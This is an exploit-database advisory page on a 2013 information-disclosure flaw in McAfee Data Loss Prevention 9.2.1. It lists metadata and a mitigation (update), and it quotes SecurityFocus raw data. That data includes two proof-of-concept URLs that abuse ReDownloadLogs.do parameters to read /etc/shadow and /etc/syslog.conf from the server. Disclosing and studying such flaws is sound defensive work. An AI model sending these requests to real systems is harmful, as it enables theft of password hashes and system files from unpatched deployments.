header-logo
Suggest Exploit
vendor:
Data Loss Prevention
by:
SecurityFocus
7,5
CVSS
HIGH
Information Disclosure
200
CWE
Product Name: Data Loss Prevention
Affected Version From: 9.2.1
Affected Version To: 9.2.1
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2013

McAfee Data Loss Prevention Information Disclosure Vulnerabilities

McAfee Data Loss Prevention is prone to multiple information-disclosure vulnerabilities. Attackers can exploit these issues to disclose contents of arbitrary files and obtain sensitive information. This may aid in launching further attacks.

Mitigation:

Update to the latest version of McAfee Data Loss Prevention.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/61033/info

McAfee Data Loss Prevention is prone to multiple information-disclosure vulnerabilities.

Attackers can exploit these issues to disclose contents of arbitrary files and obtain sensitive information. This may aid in launching further attacks.

McAfee Data Loss Prevention 9.2.1 is vulnerable; prior versions may also be affected. 

https://www.example.com/ReDownloadLogs.do?filepath=/etc&filename=shadow&cmdName=false

https://www.example.com/ReDownloadLogs.do?filepath=/etc&filename=syslog.conf&cmdName=false